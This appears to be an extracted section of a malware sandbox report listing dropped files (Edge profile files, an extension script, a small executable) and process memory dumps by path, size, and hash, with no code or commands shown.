SHA512 d0da05fcbdf9a2f40748863944656eaeb38476deb323aa8d61c38d8da3017d3c76f9d78cf77195fe34b14338cd763d2c86f8d96d5bcc1f13fdd6252b95909bff
SSDEEP 768:Ej+9K3bh3wDZIO0WhTCNzc4ReyIsPab9MH:T9K3KCtc44bsyb+H
TLSH
T142F2CF35B825CD739CEA5285F2073692BEF0117B81C92E84DAED9F0C09436AD075BC2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 2856bea96b5e3a8847f3fe0383394c96423b3ba9b81885dd93005aec7debe0f5
MD5 621cf5c4f19ea7d9b253f457daab70f8
SHA1 72b0d6788318c8bd2c8970b02a5db26e537e652c
SHA512 ea3fc6b39b60c531cbe786a94198264d4aa23859fef560ea30fec55b4d266d7bab097e8ef5156b156755d6eb45c1249433a24e07cb86db531efb062403bbc72e
SSDEEP 768:Fj+9K3bY3wDZIO0WhTCNzc4ReyIsPab9MH:w9K3bCtc44bsyb+H
TLSH
T1F1F2CF35F825CD739CEA5285B2073692BEF0117B81C52E84DAED9F0C09432AD075BC2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 c50a719a95b0dbfb098a293e4cccfb72e361ac3236ae2aabf0a314637fb3df63
MD5 9213422621673b20fdc9f0dbd1cd06f6
SHA1 530538917453c3dbf475d066578b5a0f8b56ac5f
SHA512 047548e64723313e671b7f801797c90c0632f161e2863643bced923e988c3d295e767dddd23a0d6fa964f8fb73f9d04264c4f2efe38b4f27b827df0d4dfc4b86
SSDEEP 768:HF1j+9A3b2wgcl4ZZw5O0WhTONzc4ReyIsPab9MH:u9A3mOtc44bsyb+H
TLSH
T15E1317F698D38976D8AE4787A33E2D56ADFCC167B1885984B7D85E0CCC421BFC30A815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 a3330f42f3ad1344ce74fc59f7969db3f2616750ec5c749310e471ad7a4b62f3
MD5 5b7fd53b713c9a3f65340844976d600f
SHA1 e6f71604dd2f3396804b61ef56ef538855a4b103
SHA512 86210e962f32e8e9f333885f8c1cd3d0cf49dcb34c26ab43442eae25f358b0c52dd8da031f145138474f7c9938c2ffc62d5a3f4055e4fbc7884dcc0dd9384a06
SSDEEP 768:Erv+4UNbd43b2WwDZIO0WhTGNzc4ReyIsPab9M0:Ebsb+3WGtc44bsyb+0
TLSH
T1C913BE32B828DE73ACFA6255B10B35937EF4216B82C91A84DAD95F0C09075EE171F927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

73116ba2-4de0-4af0-b985-5ef4558c01f5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\73116ba2-4de0-4af0-b985-5ef4558c01f5.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3516_591892244\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 56c9122e5ed640b458ef11cdcf8669c63bdd9acf9009c235c548456669616d3e
MD5 2291c67516e4bad62a1e2c285c77ad19
SHA1 15b94b296082fc61581e9a1630cc8f92e3185d44
SHA512 7748e7ad66426a3a5724bce7dbd48e165ce7427cf8ec3188f1aeb9618963d22830c10a2baba3fc41e7b2d411eefae46c9ae2859bb6ef00c932b8c3e0b4597019
TLSH
T1C071008357B8C6B2C1DA9BF102835648F6BB22384B6330240B615546AA30A7A28B8F44
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1288-409-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1288-388-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1368-189-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1696-270-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1696-236-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2220-65-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2408-367-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2772-413-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2812-264-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3512-311-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3512-277-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3564-462-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3848-368-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3848-338-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3896-289-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4156-457-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4168-334-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4832-487-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5404-315-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5416-425-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5488-491-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5804-436-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5964-400-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6072-319-0x0000000000010000-0x00000000000AB000-memory.dmp

Download